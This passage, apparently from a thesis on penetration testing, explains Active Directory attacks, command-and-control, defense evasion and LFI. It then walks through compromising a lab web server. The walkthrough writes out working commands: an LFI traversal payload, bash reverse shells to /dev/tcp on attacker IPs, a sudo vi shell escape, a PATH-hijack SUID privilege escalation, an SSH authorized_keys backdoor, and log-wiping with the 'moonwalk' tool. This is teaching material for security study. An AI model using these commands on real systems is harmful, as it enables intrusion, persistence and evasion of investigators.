6. ForceChangePassword = ability to change user’s password

7. Self (Self-Membership) = ability to add yourself to a group
DCSync: According to the ATT&CK framework, a DCSync attack abuses a domain
controller’s application programming interface (API) to simulate the replication process and
dump password hashes from users and/or services. By default, only Domain Admins,
Enterprise Admins, Administrators, and Domain Controllers groups have the required
privileges. This attack is usually conducted with the help of the Mimikatz tool [27].
Golden Ticket: According to MITRE, this attack happens when Adversaries have
compromised the krbtgt account and have stolen its password hash. They can then forge
Kerberos ticket-granting tickets (TGT) which can be used to generate authentication material
for any account in the Active Directory. Moreover, with a forged TGT threat actors can
request ticket granting service (TGS) tickets and gain access to specific resources. The
Mimikatz tool is mainly used to conduct this attack [28].

2.6 Command and Control

Command and Control infrastructure also known as C2 or C&C enables red team experts to control all
the compromised machines after the initial exploitation, during a vulnerability assessment [29]. There
are various frameworks, usually developed under a client-server architecture, which helps to manage
the infrastructure and communicate with the exploited hosts via special payloads called beacons,
agents, grunts or droppers. As a result, these terms will be used interchangeably. The way C2
communication works is that when attackers compromise a system, they plant one such payload that
remains dormant until the main server, controlled by the attackers, queries instruction such as tasks
and commands. If the attackers manage to infect multiple hosts and plant their payload, they can build
a network of infected machines, known as a botnet, and use it to perform further coordinated attacks
[30]. There are three types of C2 frameworks:

Synchronous which requires a constant flow of communication between the beacon and the
server to keep the channel open and operates in real-time. This type of C2 can be detected
more easily due to the continuous communication.
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Asynchronous is harder to detect because the beacon does not need a constant
communication, instead it probes the server at specific times, determined by the attackers, to
check if it has any instructions.

On-demand communication occurs only when the beacon is triggered by specific actions
determined by the attackers.

Some of the most famous frameworks are Cobalt Strike [31], Merlin [32], PowerShell Empire [33]
and Covenant [34] which will also be using in this scenario. In order to avoid detection by potential
Security Information and Event Management (SIEM) systems, adversaries use various methods
detailed bellow:

They can communicate using application layer protocols of the TCP/IP model. These
protocols can be web protocols, file transfer protocols, mail protocols or even DNS.

Another evasion method is the encoding of the data to make commands harder to read and
identify. Such encodings include ASCII, Unicode, Hexadecimal, Base64, MIME or modified
versions of these encodings.

One more approach is the obfuscation of the data. This may include the addition of junk data
to the important data and steganographic techniques such as the insertion of commands inro
images.

Next; is the dynamic resolution approach where adversaries use a number of different
techniques such as Fast Flux DNS to change the IP addresses associated with a domain
resolution or Domain Generation Algorithms to dynamically identify domains for C2 traffic
instead of using lists of static IPs

Offenders can also use channels with known encryption algorithms to conceal their traffic.
The encryption used can be symmetric or asymmetric

Adversaries often have alternative channels to communicate with compromised systems in
case the main channel is compromised or inaccessible

In order to gain more control and capabilities over the victim, adversaries can transfer tools or
malicious files to the target

Non-standard ports and non-application layer protocols are often used to bypass automated
detection systems.

Protocol tunneling is also used to and from the victim network to expose avoid detection and
to expose services outside the private network

Another technique is the usage of proxies to avoid direct connections to the target so as not to
trigger defense systems such as Web Application Firewalls also known as WAFs.

A very interesting technique is traffic signaling to hide open ports and functionalities used for
establishing persistence in the target. The way this works is that the adversaries can send
packets with specific characteristics or a magic value to trigger a special response such as the
opening of a closed port or the execution of a specific task.

Finally, offenders might use legitimate external web services (e.g. social media) to hide their
traffic in expected traffic [35].

2.6.1 Covenant

Covenant is a free; and open-source; ASP.NET Core, C2 framework, developed in C#; and designed
to exploit the attack surface of .NET Core systems. It is commonly used by penetration testers and red
teamers. Source code, documentation and instructions on how to install and use it are available on
GitHub. Covenant also has some features that make it different from other C2 frameworks. These
features include:

User-friendly web-based interface
It is cross-platform and runs natively on Linux, MacOS and Windows systems
It supports multi-user collaboration support through its intuitive user interface and API
Listener profiles to manage shell implants on the target and the various listeners
8



Theory

¢ In addition to the SSL encryption, it supports encrypted key exchange between shell implant
and its listener
e Dynamic C# compilation of the payloads in order to avoid static payloads that are more likely
to be detected
e Tracking indicators that summarize all actions taken during the assessment and then export
them together [33].
.NET is a free, open-source, cross-platform, developer platform created by Microsoft, for building
various applications. It supports multiple languages, editors and libraries for developing web, mobile,

desktop, gaming and 10T applications [36].

2.7 MITRE ATT&CK Framework

MITRE is an American non-profit organization that manages Federally funded Research and
Development Centers (FFRDCs) for Research and Development (R&D) in aerospace, defense,
healthcare, cybersecurity and more [37]. In 2013 MITRE started working on the ATT&CK
framework. According to their website this framework “is a globally-accessible knowledge base of
adversary tactics and techniques based on real-world observations”. Simply put, ATT&CK is a record
of all known Tactics, Techniques, and Procedures (TTPs) for Windows, Linux and macOS systems
used by Advanced Persistent Threat (APT) groups against corporate, organizational or governmental
networks. Specifically, according to the ATT&CK framework a tactic is what the adversary is trying
to achieve, a technique is how the attack is performed and the methods used to achieve the tactic. A
procedure is the specific implementation of the attack such as what tools and/or commands were used
[38]. There are fourteen categories in the framework with each containing the techniques an adversary
could use to perform the tactic. These categories named Reconnaissance, Resource Development,
Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access,
Discovery, Lateral Movement, Collection, Command and Control, Exfiltration and Impact, cover and
extend all the seven stages of the Lockheed Martin’s cyber kill-chain. Additionally, this framework is
very useful for both blue and red teamers as it can help the blue team identify which threats to look for
to be better prepared and the red teamers can use it a guide to perform their vulnerability assessments

[39].

2.8 Living off the Land

Living off the land (LotL) are specific post-exploitation tactics used by Advanced Persistent Threats
(APTs) for lateral movement, gaining persistence, reconnaissance, arbitrary code execution and
detection avoidance. The way these tactics work is by taking advantage of native tools and services in
the target system. This allows attackers to mix their activities with legitimate services and programs.
Essentially, hiding in plain sight, making it difficult for forensic investigators to track their activities.
Attackers may also use what is known as dual-use tools because they use a legitimate tool for
malicious purposes to make the traffic, they generate appear normal. Additionally, by using LotL
tactics, threat actors do not need to create and deploy their own malware and risk being identified by
their 0-day. The Living Off the Land Binaries And Scripts (LOLBAS) project on GitHub is a
community-driven repository containing a large list of binaries, scripts and libraries that can be used
for LotL attacks [40]. Many malicious commands use the DownloadString PowerShell command to
download and execute more commands directly into memory without touching the disk, bypassing
many detection systems. Such payloads are called fileless [41][42].
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2.9 Local File Inclusion Vulnerability

A Local File Inclusion (LFI) vulnerability occurs when an attacker can inject files into a web
application. This is due to the application’s dynamic file inclusion mechanism without proper input
sanitization. Therefore, it may lead to Remote Code Execution (RCE), Cross-Site Scripting (XSS),
Denial of Service (DoS) or Sensitive Information Disclosure. Some very common examples are:

o Directory Traversal is when someone can move to different directories on the server and read
files outside the web application. Usually following the “../” method in a Linux server to move
backwards in the directory tree.

e PHP Wrappers. This attack method is very dangerous as it can lead form LFI to RCE using
PHP’s built-in wrappers such as PHP filter which allows the application of filters to a stream
at the time of opening a file. Another wrapper is PHP ZIP which is used to manipulate zip
compressed files. Additionally, the PHP Data wrapper allows the inclusion of URLs and if
enabled the input is expected in Base64 format. The final wrapper is PHP expect which is not
enabled by default and provides access to “stdio”, “stdout” and “stderr” processes [43].

There are many different free and open-source tools available on GitHub to automatically detect and
exploit LFI vulnerabilities in web applications. One of the best open-source tools which will be used
in this scenario is LFITester available on GitHub. According to the GitHub page “LFITester is a
Python3 program that automates the detection and exploitation of Local File Inclusion (LFI)
vulnerabilities on a server”. The supported attacks are path traversal and bypasses (Null byte,
encoding, Filter Bypasses), PHP filter attacks and Remote Code Execution (RCE) through: Log
Poisoning (Apache, Nginx), PHP Session Files and PHP Wrappers [44]. This tool will be used to find

and exploit a LFI vulnerability to gain a foothold on the target network.

2.10 Pivoting

Pivoting is a set of techniques that allow an attacker to use access gained through one machine to
exploit another machine on a previously inaccessible network, thereby enabling lateral movement
within the network. Some of these techniques include tunneling/port forwarding and proxying [45].
There are two types of pivoting connections:

e Forward connection is when the compromised host is directly accessible from the attackers’
machine
o Reverse Connection is when the compromised host is behind a firewall / NAT and is not
directly accessible from the attackers’ machine
Tunneling is used to route network communications to and from a victim system, usually through an

encrypted SSH tunnel [46]. There are three types of port forwarding:

e Local port forwarding exposes a single port or service from a remote machine to the local
network
e Remote port forwarding exposes a single port or service running on the local network to a
remote machine
e Dynamic port forwarding allows interaction with TCP communication across a range of
exposed ports or services. It also allows a SSH client to be used as a SOCKS proxy server
[47].
According to MITRE’s ATT&CK, proxying is the use of a compromised host as a proxy to route
network traffic between systems or to act as an intermediary for network communications to avoid
direct connections that can be traced back to them [48]. Some of the best-known free and open-source

tools for pivoting include chisel [49], PivotSuite [50] and sshuttle [51] available on GitHub.
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2.11 OSINT

Open-Source Intelligence (OSINT) is the process of gathering useful information from public sources
such as social media of a company and its employees, public databases containing information about
the infrastructure of the company or even a public exploit for a known vulnerability to attack the target
[52]. This is done during the reconnaissance phase and it is classified as passive reconnaissance as the
attackers don’t send any packets or do anything to alert their target. OSINT is dangerous because some
employees may not be cautious on what they upload and accidentally revealing passwords. Another
example is if someone regularly tweets about something he is passionate about it may also be the basis
for his password. Some of the most famous tools and websites for OSINT include: Maltego [53], all
social media, search engines, google dorks and many others which most tools come pre-installed in
Kali Linux.

2.12 Defense Evasion

According to the MITRE ATT&CK framework “Defense evasion is a tactic that includes a set of
techniques used by threat actors to avoid detection” [54]. In order for attackers to bypass the defenses
of the target they need to understand how they work first. Modern antimalware solutions use a
combination of different techniques to detect and prevent threats. Some of these techniques are:

e Signature-based detection is a traditional and simple way to detect malware. When
researchers discover a new malware they extract a unique pattern of bytes, called signature,
that characterizes this specific malware and then they add the signature to the antimalware’s
database. This way if the antimalware encounters this malware again, it can recognize it by its
signature and eliminate it. The main problem with this approach is that if the signature doesn’t
match exactly, it will escape the detection. Even if some variants of the signature are added to
the database it still isn’t enough to detect the more advanced types of malware.

e Heuristics-based detection is used in conjunction with signature-based detection and is
divided into two sub-methods:

e Static heuristic analysis which decompiles a suspicious program, examines its source code
and if a certain percentage and above matches the code of known malware in the database,
then the program is flagged as malicious or infected.

e Dynamic heuristic analysis isolates the suspicious program inside a virtual machine, also
known as sandbox, and executes it, giving the antimalware the chance to analyze its behavior
without the danger of damaging the whole system and determine if it is dangerous.

This approach though is prone to false alarms.

e Malware normalization is a system that takes an obfuscated executable, reverses the
obfuscation and produces a normalized one, giving the chance for other detection methods to
analyze it [55]

o Machine/Deep learning techniques is very new in the field of malware detection and very
effective. This technique is a two-step process, in the first step certain patterns of code,
behavior, strings etc. are extracted from known malware and fed to the machine learning
algorithm. In the second step the algorithm is trained with that data in order to learn how
different malware operates and then detect unknown malware that escaped all the other
detection techniques [56].

Moreover, Microsoft has developed another security feature called Antimalware Scan Interface
(AMSI) for extra protection. AMSI is an interface designed to help antimalware solutions detect and
prevent mostly “script-based attacks” executed in memory such as Microsoft Office macros or
PowerShell scripts. Another feature integrated into AMSI is the User Account Control (UAC) which
helps mitigate the impact of malware by prompting for consent of the admin if a program requests
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higher permission than what already has [57][58]. In this scenario, the MITRE’s “Impair Defenses”
technique and specifically the “Disable or Modify Tools” sub-technique will be used which is
described as “Adversaries may modify deferent components in the target’s environment in order to
disable defense mechanisms such as firewalls, anti-virus but also detection mechanisms used by SOC
to audit suspicious activity and identify malicious behavior” [59].

Another evasion technique is the usage of relatively new languages like Nim, which will also be used
in the current scenario. Nim is a statically typed compiled systems programming language which takes
inspiration from Python, Ada and Modula. Additionally, the executables are cross-platform and can
run on Linux, Windows and Mac systems. Nim is great for malware development because it is a new
language so the signatures and bytecode sequences it generates are unknown to most databases and
can bypass the static analysis stage. Moreover, it compiles directly to C, C++ and JavaScript providing
high flexibility for the development of malware [60].

2.13 Mimikatz

Mimikatz is an open-source, post-exploitation, credential dumping tool written in C, capable of
extracting/dumping plaintext passwords, hashes, PIN codes and Kerberos tickets from memory. It was
developed by Benjamin Deply in 2007 and with constant updates this tool is still used today [61][62].
Furthermore, due to its unique nature and approach, it is also used in many active directory attacks
such as:

e Pass-the-Hash: Adversaries may steal a user’s password hash and try to authenticate using
only that hash without knowing the cleartext password, thus bypassing many access control
systems when moving laterally in an environment [63].

e Pass-the-Ticket: This attack uses stolen Kerberos tickets to authenticate without knowing or
having access to a user’s password, thus bypassing many access control systems when moving
laterally in an environment [64].

e Over-Pass-the-Hash: This attack is very similar to pass-the-hash attack, with the deference
that the password hash can also be used to create a valid Kerberos ticket which then can be
used in pass-the-ticket attack [63].

e Golden Tickets: Described in the Active Directory section

o Silver Tickets: Adversaries who have stolen a service’s password hash may forge Kerberos
ticket-granting-service tickets (TGS) which are more limited than golden tickets and give
access to a specific resource. Moreover, these tickets can be created without interacting
directly with the KDC, making detection more difficult [65].

e DCSync: Described in the Active Directory section

2.14 BloodHound

According to the GitHub page “BloodHound is a single page JavaScript web application, built on top
of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound
uses graph theory to reveal hidden and often unintended relationships within an Active Directory or
Azure environments. Attackers can use BloodHound to easily identify highly complex attack paths
that would otherwise be impossible to identify quickly. Defenders can use BloodHound to identify and
eliminate the same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper
understanding of privilege relationships in an Active Directory or Azure environments.” [66]. Inside
the graphical environment, BloodHound displays information, abuse methods (if any) and mitigation
techniques about each relationship between users, groups, OUs and computers inside an Active
Directory environment. In order for attackers to gather all the information BloodHound needs, they
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can use another tool called SharpHound which is the official data collector for BloodHound. First
SharpHound needs to be transferred to the target and run with elevated privileges or loaded directly
into the target’s memory. Moreover, it uses native Windows API functions and LDAP namespace
functions to collect data from domain controllers and domain-joined Windows systems [67]. A
modified version of SharpHound will be used in this lab to conduct domain enumeration without
triggering any alerts from Windows Defender.

2.15 Demilitarized Zone

According to NIST's definition, a demilitarized zone (DMZ) is a perimeter network that logically
separates internal and external networks to protect the internal network from external attacks by
enforcing the internal network’s Information Assurance policy to limit incoming information sharing
from external, untrusted sources with restricted access to releasable information [68]. A simpler
definition is; a physical or virtual network or subnet that separates internal networks (usually LANs
and WANSs) from untrusted external networks, such as the Internet. This provides an extra layer of
security to any network as a DMZ does not allow direct interaction with the internal network from an
external one. One architecture of a DMZ consists of different types of firewalls with different set of
rules on each side which makes it more difficult for intruders to attack the network because they will
have to bypass multiple layers of firewalls, each requiring different evasion techniques [69].
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Chapter 3: Simulation Stage

This section describes the network architecture, the Tactics, techniques and procedures (TTPs) used to fully
compromise the domain controller and extract sensitive records.

The network consists of an external, an internal network, a DMZ between them and a firewall which separates the
DMZ and the internal network. The external network has an Ubuntu web server hosting the client’s website and a
second interface connected to the DMZ giving the server access to both networks. This serves as a portal to access
the DMZ and access the host and the firewall inside it. On the DMZ, there is a Windows 10 host and the pfSence
firewall which acts also as a router. Behind the firewall, in the internal network there is the Windows server
20.04.1 LTS domain controller. Due to hardware limitations, there are no advanced third-party monitoring
systems (such as SIEM, IDS, IPS, XDR etc.). Below network’s topology is depicted designed with the help of
“Visual Paradigm Online” page.

2+ Domain Controller
i 10.10.0.2

- 1C x i - I . Internal 10.10.0.0/24
10.10.0.1 | | o
)

PFSence Firewall/Router [l
10.10.10.1 | ] - i I DMZ 10.10.10.0/24

E Host 1
10.10.10.3

Web Server
192.168.174.129 External 192.168.174.0/24

Attacker
192.168.174.128

Figure 1. Network Infrastructure

3.1 Enumeration of The Web Server

First, we will start enumerating the IP 192.168.174.129 since it is the only IP that responds to ICMP requests
(ping). By default, in Kali there is a tool called Nmap sort for Network Mapper which shows which ports are open
and what services are running. The command we will use is “nmap -sS -sV -p- -v -oN ./nmap.txt
192.168.174.129”. While Nmap is running we will use OSINT to gather as much intelligence as possible. With
Google’s help we have identified the LinkedIn page of the company, the Chief Executive Officer (CEO) and one
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very interesting employee named Thomas (Neo) Anderson. In his last post he thanked the company for his setup
but due to an oversight, there is a notebook in the picture with the credentials for an RDP service. If we download
the image and zoom in, we can see and guess that the username is “Neo” and the password is
“SuperSecurePassword1!”. This might come in handy later in the assessment (these are fake profiles made
solely for the purpose of this thesis, the people depicted are from the site “this-person-does-not-exist.com [70]”
which is a Generator of fake faces of non-existent humans).

-sS = indicate the type of scan, in this case SYN scan

-sV = Probes open ports to determine service/version info

-p- = Scan all the ports (1-65535)

-v = Enable verbose mode

-oN [name] = Output scan in normal format and save it to the specified file
[ip] = The IP or IP range we want to scan

Not shown: ¢ SE (reset)
PNRT  STATF SFRUTCF UFRSTON
‘tcp open ssh OpenSSH 8.2pl Ubuntu 4ubuntu®.4 (Ubuntu Linux; protocol 2.0
( http Apache httpd 2.4.41 ((Ubuntu))

:42:FB (V

Figure 2. Web server's nmap results
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3.2 OSINT enumeration

MATRIX COR

P INC

( v Following /) ' More )

Home About Posts Jobs People

Figure 3. Company profile

P

matrix matrixidis 1=t m MATRIX CORP INC
Chief Executive Officer @ MATRIX CORP INC

Athens, Attiki, Greece - Contact info

1 connection

Figure 4. CEO profile
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MATRIX CORP INC

Thomas (Neo) Anderson st
Design specialist @ MATRIX CORP INC
S ',5! Boston University

Athens Metropolitan Area - Contact info

20 connections

Message (: More )

Figure 5. Employee profile

Thomas (Neo) Anderson = 1st e

2d » @
Thank you #MATRIX for the incredible setup

Figure 6. The post with the creds
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Figure 7. RDP credentials

3.3 Exploitation of The Web Server

Nmap has identified the operating system as Ubuntu Linux and two open ports (22, 80) as SSH and HTTP
respectively with an Apache web server running. If we look up the address with a browser, we will be greeted
with the bellow webpage.

& KaliLinox ¥ Kali Training % Kali Tools ~ Kali iDocs ¢ NetHunter J Offensive Security A MSFU = Exploit-DB = GHDB [ Web Security Academ... (3C2

Figure 8. index.php
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Next, we will fuzz the webpage using a tool called Gobuster to see if there are other folders on the server which
we can exploit. The syntax of the command is ‘“gobuster dir -w /opt/seclists/Discovery/\Web-
Content/directory-list-2.3-medium.txt -u http://192.168.174.129/ -x php,txt,html -0 ./gobuster.txt”

dir = Tells the program to use the directory/file enumeration mode

-w [path] = Indicates the path to the wordlist to use for the fuzzing

-u [URL] = Indicates the target URL to fuzz

-X [extensions] = Adds the specified extensions to every item in the wordlist
-0 [name] = Outputs the scan to the specified file

Findex.php
/control.php

Jenemy . php
f r-status

Figure 9. Gobuster results

Gobuster found four possible files and a folder we don’t have access to (Status: 403). “index.php” is the default
page we were greeted with so we can ignore these, but the other two files are of interest.

< > C @ O & 192168.174.12¢

o Kali Linux % Kali Training % Kali Tools Kali Forums ¢ KaliDocs o NetHunter j Offensive Security J MSFU Exploit-DB GHDB HJ Web Security Academ... [3C2
Hello intruder!

We should really hide the matrix control panel as it is still under development. We should also transform ourselves to hide oue must become something like agents.

Figure 10. control.php
The “control.php” file contains a link to the “enemy.php” file with a parameter which indicates to an image.

C @ O A& 192168.174.129

« Kali Linux ¥ Kali Training N Kali Tools Kali Forums ¢ KaliDocs & NetHunter J Offensive Security J MSFU Exploit-DB GHDB # Web Security Academ... [3C2

Figure 11. enemy.php
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This page appears to be vulnerable to a local file inclusion attack. To test this, we can put this payload
“..1.1.1.1.1.letc/passwd” in the URL after the parameter and see if it works. The attack worked and we can see
a username from the file named “morpheus”.

Toot:x:0:0:Toot:/root. em sys:x:3:3:sys:/dev:/ust) sync:x:4:65534 bin:/bin/sync games:x:5
/nologin man:x:6:12:man: /\nr/rnr / Mol 1 r 1/lpd. I:/var/mail:/usr uucp:x:10:10:uucp: /\nrl&pn]l\l\lrp
fusr/sbin/nologin proxy:x:13:13:proxy v-d backup:x:34:34:backup: /mr/bulkups Iusr/sbmlnuloqm list. x 38:38:Mailing List Manager: varlist:fusr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd /usr/sbmnml\)qm gna(s x:41: 41 (_vnd(: Bug P nobody:x:65534:6: ST/ d work:x:100:102 s
Network Manag i/run/sy q 1 Y -/r gin systemd- ume-s)n x:102:104:systemd lnm- Synchronization,, :/run/systemd:/usr/sbin/nologin
103:106: sy slcq‘( 1DI 110::/h h by apt:x:105 usr g lss X; 106 ]11 TPM smw\arc stack,,, /\ar/llbllpm /bin/false uuidd:x:107:114::/run
(uln(ld Jusr/sbin/nologin tcpdump:: x ma Ih /nnm mwm Jusr/sbin/nol Iugu\ n ahi-2 uuupd x:109: lll Ave ln nun olp d: 11 b daemon,,,:/var ust/!
1:117:RealtimeKit,, 112:65534 login cups- pk ht.lper x: 113 120:user for cups- pk helper service,,,:/home/cups-pk-helper:/us/sbin/nologin speech
(hspal cher:x:114:29:Speech Dispatcher,,-/run/speech- d.qmtrnm /bin/false nmm x:115:121:Avahi mDNS daemon,, :/var/run/avahi-daemon:/usr/sbin/nologin kernoops:x:116:65534:Kernel Oops Tracking Daemon,,.:/-/usr/sbin/nologin
saned:x:117:123: /\a pn:x:118:124:NetworkManager OpenVPN, pn/chroot:/usr hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
vhoop: x:120:12 +/bin/fals rolurd X l7l l"o Colmd colour manaqomem daomon,”./\ llllb/colord Jusr/sbin/nologin geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/ nol)gln pulse:x:123:128:PulseAudio daemon,,,:/var
Y r Ise gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false sssd:x:126:131:SSSD system user,:/var/lib/sss:/usr/sbin/nologin
\,slcmd d Core Dumper:/:/usr/sbin/nologin mysql:x:127:134:MySQL Server,,,:/nonexistent:/bin/false

Figure 12. LFI attack on enemy.php

Now that we know LFI attacks are possible we can use one of the best tools for finding and exploiting LFI
vulnerabilities  called LFITester. The syntax of the command is  “Ifitester -u
http://192.168.174.129/enemy.php?file="

e -u[URL] = Indicates the target URL to attack
1fi http://192.168.174.129/enemy.php?file=

LFITester
Automated LFI Testing
*

Checking Remote Server Health

http://192.168.174.129/enemy.php?file=% %2E%2F%2E
5 2Fpasswd
.168.174.129/enemy .php?file=%2F%2E%2E% %2E%2F
2Fetc%s2Fpasswd
http //192.168.174.129/enemy.php?file %2F%2E%2E
% E%2E%2F%2E%2F%2E%2E%2Fetc%2Fpasswd
http-fflGZ 168.174.129/enemy.php?file=%2F%2E%2E% %2F%2E
; 2E%2F%2E%2F%2E%2ES2Fet Fpasswd
Flles can be retrieved with php filter like so (encoded in basef64) http://192.168.174.129/
enemy.php?file=php%3A//filter/read%3Dconvert.baseb4d-encode/resourc Dindex.php

Figure 13. LFITester

The program discovered another attack method that uses a PHP filter to display the source code of the specified
page in base64. If we read the “control.php” source code with this method we will see a hidden parameter “cmd”
that we can use to execute commands on the server.
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<2php

$id = 5 GET["cmd"];
ITm_Gtu"cﬁ“j QNULL]{

echo "Hello intruder!";

1 else {

[echo "Hello " . exec($id);
1

P

Figure 14. RCE discovery in control.php

This means we can use this parameter to inject a payload and open a reverse shell. Using this information, we will
run LFITester again with the new parameter and it will automatically open a reverse shell to the server. The
syntax is “Ifitester -u http://192.168.174.129/control.php?cmd= --autopwn [local IP]”

e --autopwn [local IP] = This flag tells the program to open a listener to the local ip to catch the
connection.

[*] Switching to interactive mode
[+] Exploit Completed! Session Created...

whoami
www-data

Figure 15. Reverse shell with LFITester

We can see that we now have a shell on the server and we are the “www-data” user with limited privileges. Next,
we will spawn a more stable shell using netcat with the command “nc -nvlp 4444” on the receiving end to catch
the shell and “bash -i >& /dev/tcp/192.168.174.128/4444 0>&1” on the target machine.

-n = numeric-only IP addresses, no DNS

-1 = listen mode, for inbound connects

-v = verbose mode

-p = local port number

4444 = the specified port

-i = enables interactive mode for bash

>& = redirects stdout

/dev/tcp/192.168.174.128/4444 = open a TCP connection to the specified IP address and port
0>&1 = read stdin from the network socket that is stdout

listening on [any] 4444 ...
connect to [192.168.174.128] from (UNKNOWN) [192.168.174.129] 56408
bash: cannot set terminal process group (1192): Inappropriate ioctl for device

bash: no job control in this shell
www-data@zion:/var/www/zion$ []

Figure 16. Stable shell with netcat
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Now to stabilize our new shell we will run “python3 -c 'import pty; pty.spawn(*'/bin/bash™)"”’, “export
TERM=xterm”, “Ctrl+Z”, “stty raw -echo; fg”

python3 -c¢ = use python 3 and import the following module

import pty; = import the specified module

pty.spawn(*“/bin/bash”) = this will spawn a bash pseudo-terminal

export TERM=xterm = sets the terminal emulator to xterm which is the default Linux emulator for
Ubuntu

Ctrl+Z = sent the current session to background

e stty raw -echo; fg = changes the interface mode of the terminal in the device so that it does not do any
input or output processing. Also, it disables echoing which gives us access to autocompletion, the history
with the arrow keys and the option to interrupt a command without Killing the shell. After that bring the
session to the foreground.

After we stabilize our shell, we will download a script from GitHub called “moonwalk” that will be used to cover
our tracks after we have compromised the server. According to the GitHub page, the script saves the pre-
exploitation state of the system logs to a temporary file in a world writable directory and post-exploitation it
restores them back to their original state including the filesystem timestamps [71]. We can use the “wget”
command to download to the target and save it in the /dev/shm directory. If we have root access, we need to run
this script again because it requires sudo privileges to access some log files. The “shm” directory is a temporary
file storage for shared memory, RAM, which means that anything placed there can be loaded into memory
without touching the disk and deleted after a reboot or shutdown, thus leaving little to no traces behind. At this
point, we start enumerating to find a vulnerability to exploit and escalate our privileges. If we go to the home
folder (/home) we see that there is the user Morpheus, discovered earlier, there is also the user
“morpheus@MATRIX.local” which is the same user but on the internal hidden network. From the username we
can also assume that the domain name of this network is “MATRIX.local”. However, in order to interact with
this user, we need root permission.

www-data@zion:/homes$ 1s

morpheus morpheus@MATRIX.local

Figure 17. Domain discovery through username

If we type “sudo -1” we see that the user www-data can use sudo the user Morpheus to run the command “vi”
without a password. By going to GTFOBIns and searching for vi with sudo we see that we can use the commands
“sudo -u morpheus /usr/bin/vi -¢ ¢:/bin/sh’ /dev/null” and “bash -i” to open a sh shell as Morpheus and turn it
into an interactive bash shell. According to their website this vulnerability occurs because programs running with
elevated privileges do not drop them and we can spawn a shell inside the program, thus achieving privilege
escalation.

sudo -l = lists user’s privileges

sudo -u = run command as the specified user

{usr/bin/vi -c = execute the specified command at opening
:/bin/sh = spawn a sh shell

/dev/null = redirect errors to null
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Matching Defaults entries for www-data on zion:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on zion:
(morpheus) NOPASSWD: /usr/bin/vi

Figure 18. Privilege escalation to local user

Now that we are Morpheus, we need to find a way to escalate our privileges to root. We can use this command
“find / -perm -u=s -type f 2>/dev/null” to print all the files that have the SUID bit set. The SUID bit allows the
execution of a file with the owner’s privileges and permissions. From the results, we see an interesting file called
“backup” located in “/var/wwwi/zion/”.

morpheus@zion: /homes find / -perm -u=s -type T 2>/dev/null
/var/www/zion/backup

/snap/core20/1405/usr/bin/chfn
/snap/core20/1405/usr/bin/chsh

/snap/core20/1405/usr/bin/gpasswd
/snap/core20/1405/usr/bin/mount
/snap/core20/1405/usr/bin/newgrp
/snap/core20/1405/usr/bin/passwd

Figure 19. Discovery of a strange file

The owner of this file is root and if we use the “strings” command we see that it calls the “cp” command to copy
all files from ““/var/www/zion” to “/var/backups”. We can exploit this with the following commands, “echo “bash
-i >& /dev/tcp/192.168.174.129/9999 0>&1” > /dev/shm/cp”, “chmod 777 /dev/shm/cp”, “export
PATH=/dev/shm:$PATH”, “/var/www/zion/backup”. This technique is used when an executable file, usually a
compiled C script, with higher privileges than the current user, using a bash command without the full path, has
the SUID bit set and can be executed by the current user. An attacker can then create a file containing a reverse
shell, named after the command in the script, in a directory where the user has “write” permission and giving it
read, write and execute permissions. After that, the attacker can modify the path variable of the current session
and add the directory with the payload to the left side of the path. When the user executes the script again, the
system will run the customized file, spawning a shell as the owner of the script due to the SUID bit. Path is a
variable in Linux containing a series of directories where the system can look for executable files without
requiring the user to write the full path of a command every time. Also, the system always checks the variable
from left to right until it finds an instance of the command requested by the user.
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morpheus@zion:/var/www/zion$ strings backup
/1ib64/1d-1linux-x86-64.50.2
libc.so0.6

setuid

system

__cxa_finalize

setgid

__libc start _main

GLIBC 2.2.5

_ITM deregisterTMCloneTable
__gmon_start__

_ITM registerTMCloneTable

u+UH

[TANATATA

cp /var/www/zion/* /var/backups
:T3Y

Figure 20. Discovery of privilege escalation

e strings = outputs all the strings found in the given file

e echo “bash -i >& /dev/tcp/192.168.174.129/9999 0>&1” > /dev/shm/cp = it writes the reverse shell
used previously in a file called “cp” located in “/dev/shm” directory

e chmod 777 = give read, write and execute permissions to everyone for the specified file

e export PATH=/dev/shm:$PATH = add the /dev/shm directory to the left side of the PATH variable
temporarily

o /var/wwwi/zion/backup = execute the backup script

Now that we have fully compromised the web server, we need to add persistence in case something happens and
we lose our shell. The persistence we will use is to create a backdoor in the SSH service for the root user. There
are two ways to connect to SSH, the first is using a password and the second is using a pair of public and private
SSH keys. If the public key is in the “authorized keys” file and the user provides the private key in the request
then the SSH service will allow the user to log in. Since we do not know the SSH password of the user root, we
will use the second method. To achieve this, we will generate a new pair of SSH keys locally, a public and a
private, with the command “ssh-keygen” with a blank passphrase, then we will copy our public SSH key
(id_rsa.pub) to the user’s “~/.ssh/authorized keys” file. Next, we need to set the required permissions, “chmod
700 ~/”, “chmod 700 ~/.ssh”, “chmod 600 ~/.ssh/authorized_keys”. With this we can reconnect to the target
anytime as root with the command “ssh root@192.168.174.129 -i id_rsa”. At this point we should also cover our
tracks by deleting the “cp” file we created, “rm /dev/shm/cp”, and by running again the “moonwalk” script.

o ssh-keygen = Generates a new pair of SSH keys, one private (id_rsa) and one public (id_rsa.pub) in the
specified location with a given passphrase

e chmod 700 ~/ = Gives read, write and execute permissions only to the owner of the home directory of the
current user

e chmod 700 ~/.ssh = Gives read, write and execute permissions only to the owner of the .ssh directory
located in the home directory of the current user

e chmod 600 ~/.ssh/authorized_keys = Gives read and write permissions only to the owner of the
authorized_keys file located in the the .ssh directory in the home directory of the current user

e -i = Specify the identity file (private SSH key)
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After the web server we need to pivot and compromise another host in the internal network. The only one that
currently has access to the internal network is the web server. For this reason, we need a tool called sshuttle [72].
This tool is a transparent proxy server that creates a VPN connection from the local machine to a remote server
and auto-configures the iptable rules to forward all traffic through SSH. In order for the tool to work we must
have root access to the local machine, Python 3.6 or higher installed, the target must have SSH service setup and
running and be accessible by the attackers. The main benefit of this tool is that we do not need to use any
proxying tools such as proxychains which tends to limit our number and usage of tools. For instance, if we sent
